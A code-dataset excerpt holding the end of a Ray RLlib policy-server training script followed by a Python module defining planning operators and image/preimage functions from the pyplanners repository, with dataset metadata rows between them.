"there is no TensorBoard support.")
parser.add_argument(
"--local-mode",
action="store_true",
help="Init Ray in local mode for easier debugging.")
args = parser.parse_args()
print(f"Running with following CLI args: {args}")
return args
if __name__ == "__main__":
args = get_cli_args()
ray.init()
def _input(ioctx):
if ioctx.worker_index > 0 or ioctx.worker.num_workers == 0:
return PolicyServerInput(
ioctx, SERVER_ADDRESS, args.port + ioctx.worker_index -
(1 if ioctx.worker_index > 0 else 0))
else:
return None
config = {
# Allow spaces to be determined by user (see below).
"env": None,
# TODO: (sven) make these settings unnecessary and get the information
# about the env spaces from the client.
"observation_space": gym.spaces.Box(
float("-inf"), float("inf"), (4, )),
"action_space": gym.spaces.Discrete(2),
# Use the `PolicyServerInput` to generate experiences.
"input": _input,
# Use n worker processes to listen on different ports.
"num_workers": args.num_workers,
# Disable OPE, since the rollouts are coming from online clients.
"input_evaluation": [],
# Create a "chatty" client/server or not.
"callbacks": MyCallbacks if args.callbacks_verbose else None,
# DL framework to use.
"framework": args.framework,
# Set to INFO so we'll see the server's actual address:port.
"log_level": "INFO",
}
# DQN.
if args.run == "DQN":
# Example of using DQN (supports off-policy actions).
config.update({
"learning_starts": 100,
"timesteps_per_iteration": 200,
"n_step": 3,
})
config["model"] = {
"fcnet_hiddens": [64],
"fcnet_activation": "linear",
}
# PPO.
else:
# Example of using PPO (does NOT support off-policy actions).
config.update({
"rollout_fragment_length": 1000,
"train_batch_size": 4000,
})
checkpoint_path = CHECKPOINT_FILE.format(args.run)
# Attempt to restore from checkpoint, if possible.
if not args.no_restore and os.path.exists(checkpoint_path):
checkpoint_path = open(checkpoint_path).read()
else:
checkpoint_path = None
# Manual training loop (no Ray tune).
if args.no_tune:
if args.run == "DQN":
trainer = DQNTrainer(config=config)
else:
trainer = PPOTrainer(config=config)
if checkpoint_path:
print("Restoring from checkpoint path", checkpoint_path)
trainer.restore(checkpoint_path)
# Serving and training loop.
ts = 0
for _ in range(args.stop_iters):
results = trainer.train()
print(pretty_print(results))
checkpoint = trainer.save()
print("Last checkpoint", checkpoint)
with open(checkpoint_path, "w") as f:
f.write(checkpoint)
if results["episode_reward_mean"] >= args.stop_reward or \
ts >= args.stop_timesteps:
break
ts += results["timesteps_total"]
# Run with Tune for auto env and trainer creation and TensorBoard.
else:
stop = {
"training_iteration": args.stop_iters,
"timesteps_total": args.stop_timesteps,
"episode_reward_mean": args.stop_reward,
}
tune.run(
args.run,
config=config,
stop=stop,
verbose=2,
restore=checkpoint_path)
| true | true |
f7f386c2f1e4e83cee0938597c36c1180de0a8d2 | 2,885 | py | Python | sas/operators.py | yijiangh/pyplanners | ef1ae33e233f20cd93ce03cba363b0f14fd078bc | [
"MIT"
] | 23 | 2017-11-13T23:56:25.000Z | 2022-02-12T08:56:28.000Z | sas/operators.py | yijiangh/pyplanners | ef1ae33e233f20cd93ce03cba363b0f14fd078bc | [
"MIT"
] | 1 | 2022-01-04T17:07:47.000Z | 2022-01-04T17:07:47.000Z | sas/operators.py | yijiangh/pyplanners | ef1ae33e233f20cd93ce03cba363b0f14fd078bc | [
"MIT"
] | 6 | 2017-07-13T07:21:13.000Z | 2022-03-25T08:21:57.000Z | from .states import *
class Operator(PartialState):
def __init__(self, args):
for k, v in args.items():
setattr(self, k, v)
self.args = args # TODO - use FrozenDict instead
self._frozen_args = frozenset(args.items())
self._hash = None
self.conditions = None
self.effects = None
self.test = lambda state: True
def eff(self):
return self.effects.items()
def apply(self, state):
return State(merge_dicts(state.values, self.effects))
def __call__(self, state):
if state not in self:
return None
return self.apply(state)
def __iter__(self):
yield self
def __len__(self):
return 1
def __eq__(self, other):
return (type(self) == type(other)) and (self._frozen_args == other._frozen_args)
def __ne__(self, other):
return not self == other
def __hash__(self):
if self._hash is None:
self._hash = hash((self.__class__, self._frozen_args))
return self._hash
def __str__(self):
return self.__class__.__name__ + str_object(self.args)
__repr__ = __str__
class Action(Operator):
cost = 1
class Axiom(Operator):
cost = 0
###########################################################################
def apply_image(state, operator):
image_values = dict(state.values) # NOTE - doesn't consider implicit values
for v, val in operator.cond():
assert image_values.get(v, val) == val
image_values[v] = val
for v, val in operator.eff():
image_values[v] = val
return State(image_values)
def apply_preimage(partial_state, operator):
preimage_values = dict(partial_state.conditions) # NOTE - doesn't consider implicit values
for v, val in operator.eff():
assert preimage_values.get(v, val) == val
if v in preimage_values:
del preimage_values[v]
for v, val in operator.cond():
assert preimage_values.get(v, val) == val
preimage_values[v] = val
return Goal(preimage_values)
###########################################################################
# NOTE - preconditions and effects can be seen more symmetrically if a precondition must be an effect when not overwritten
def image(state, operators):
image_state = state.values.copy() # NOTE - doesn't consider implicit values
for operator in operators:
for v, val in operator.pre():
assert image_state.get(v, default=val) == val
image_state[v] = val
for v, val in operator.eff():
image_state[v] = val
return image_state
def preimage(state, operators):
preimage_state = state.values.copy() # NOTE - doesn't consider implicit values
for operator in operators:
for v, val in operator.eff():
assert preimage_state.get(v, default=val) == val
if v in preimage_state:
del preimage_state[v]
for v, val in operator.pre():
assert preimage_state.get(v, default=val) == val
preimage_state[v] = val
return preimage_state
| 32.784091 | 122 | 0.652686 | from .states import *
class Operator(PartialState):
def __init__(self, args):
for k, v in args.items():
setattr(self, k, v)
self.args = args
self._frozen_args = frozenset(args.items())
self._hash = None
self.conditions = None
self.effects = None
self.test = lambda state: True
def eff(self):
return self.effects.items()
def apply(self, state):
return State(merge_dicts(state.values, self.effects))
def __call__(self, state):
if state not in self:
return None
return self.apply(state)
def __iter__(self):
yield self
def __len__(self):
return 1
def __eq__(self, other):
return (type(self) == type(other)) and (self._frozen_args == other._frozen_args)
def __ne__(self, other):
return not self == other
def __hash__(self):
if self._hash is None:
self._hash = hash((self.__class__, self._frozen_args))
return self._hash
def __str__(self):
return self.__class__.__name__ + str_object(self.args)
__repr__ = __str__
class Action(Operator):
cost = 1
class Axiom(Operator):
cost = 0
| true | true |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.